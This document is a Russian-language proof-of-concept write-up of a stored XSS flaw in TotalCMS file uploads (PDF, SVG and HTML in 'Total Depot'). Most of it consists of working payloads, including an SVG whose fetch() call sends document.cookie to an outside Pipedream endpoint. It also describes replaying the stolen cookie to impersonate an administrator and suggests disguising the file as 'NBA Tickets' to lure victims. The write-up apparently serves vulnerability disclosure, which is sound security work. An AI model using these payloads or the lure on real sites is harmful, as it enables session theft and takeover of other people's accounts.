
TotalCMS подвержен уязвимости произвольной загрузки файлов - XSS, которая позволяет хранимый межсайтовый скриптинг (XSS Stored), а также кражу сессионных cookie.
Описание: TotalCMS подвержен уязвимости произвольной загрузки файлов - XSS, которая позволяет выполнять межсайтовый скриптинг (XSS), а также красть сессионные cookie.
Векторы атаки: Уязвимость в санитизации загружаемых файлов в «Total Depot» позволяет загрузить PDF / SVG / HTML файл со скрытым alert-ом межсайтового скриптинга (XSS) и украсть cookie пользователя.
Я собираюсь сделать 2 PoC:
Начнём с первого PoC:
При входе в панель администратора (https://www.totalcms.co/demo/total-cms/admin/) мы перейдём в «Total Depot» на сайте администрирования и загрузим PDF / SVG и HTML файлы со скрытым XSS.
Мы изменяем пейлоад, чтобы украсть cookie и отправить их в запрос Pipedream, чтобы мы могли выдать себя за пользователя. Теперь мы выдадим себя за пользователя. Чтобы проверить это, мы открываем сессию в TotalCMS/admin в другом браузере и открываем аддон «Cookie Editor».Вот пейлоады:
Это XSS-пейлоад, сгенерированный с помощью инструмента JS2PDFInjector, и JS-пейлоад, содержащий следующий код:
app.alert("XSS");
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/>
<script type="text/javascript">
alert(document.location);
</script>
</svg>
<html>
<script>
alert(document.cookie);
</script>
</html>


После загрузки, если мы нажмём на ссылку, мы увидим путь, по которому они хранятся:

Путь к файлам:



И вот результат с межсайтовым скриптингом (XSS) для всех 3 типов файлов и с cookie пользователя:



Переходим ко второму PoC:
Мы представим, что мы киберпреступник, и украдём сессионные cookie пользователя, и они будут отправлены на сервер.
В данном случае я загрузил файл в качестве PoC, но в реальном случае мы можем загрузить файл с привлекательным названием «NBA Tickets» и опубликовать его, чтобы пользователь-жертва отправил мне cookie при открытии файла, даже не осознавая этого. об этом.
Прежде всего, мы выполняем тест, чтобы проверить, есть ли у нас связь с внешним сервером.
Вот пейлоад:
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC
"-//W3C//DTD SVG 1.1//EN"
"http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg width="200"
height="200"
zoomAndPan="disable"
xmlns="http://www.w3.org/2000/svg"
xmlns:xlink="http://www.w3.org/1999/xlink"
xml:space="preserve">
<!-- Script linked from the outside-->
<script xlink:href="https://enbjn0l9vbowi.x.pipedream.net/" />
<script>
//<![CDATA[
alert("XSS");
]]>
</script>
</svg>


Как мы видим в запросе Pipedream, мы успешно получили запрос.
Вот пейлоад:
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC
"-//W3C//DTD SVG 1.1//EN"
"http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg width="200"
height="200"
zoomAndPan="disable"
xmlns="http://www.w3.org/2000/svg"
xmlns:xlink="http://www.w3.org/1999/xlink"
xml:space="preserve">
<!-- Script linked from the outside-->
<script>
fetch('https://enbjn0l9vbowi.x.pipedream.net/', {
method: 'POST',
mode: 'no-cors',
body: document.cookie
});
</script>
</svg>
Запускаем его:


Как мы видим на изображении, мы успешно получили сессионные cookie пользователя.

Мы заменяем сессионную cookie на ту, что была получена в Pipedream, и сохраняем.

Мы перезагрузили сайт, и нам удалось выдать себя за пользователя-администратора.
